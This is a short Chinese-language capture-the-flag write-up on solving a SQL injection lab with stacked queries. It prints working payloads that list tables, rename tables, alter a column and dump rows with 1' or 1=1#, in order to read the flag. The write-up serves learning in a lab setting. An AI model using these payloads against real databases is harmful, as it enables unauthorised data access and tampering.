进入题打开靶场
既然是注入,那么先判断注入类型。
很容易就可以看出属于字符型注入并且字段为2
正常开始注入
发现大部分字符都被禁用了
于是使用堆叠注入
成功查到所有库的信息,说明堆叠注入是可以用的
再看看当前库里的表
show tables;
接着进入一个一个进入表中看看,如果这两个表都没有就必须得去别的库看看了
0’;desc 1919810931114514
;#
很明显,有我们想要的flag
说明flag就在这里面
我们再返回查询word
里面有id,有data,而且正好是2个字段,所以猜测数据库中查询语句是
selsect id,data from words where id =
那我们可以把word表名改为word1,再把flag表名改为word,再把列名flag改成id,这样我们查询时就查询到了flag中的内容
0';rename table words to words1;rename table 1919810931114514
to words;alter table words change flag id varchar(100)
CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
接着查询我们想要的数据就可以了
id=1’ or 1=1#
得到flag
知识点
主要是学到了新的注入方法,堆叠注入,再通过重命名的方式,查到我们想要的内容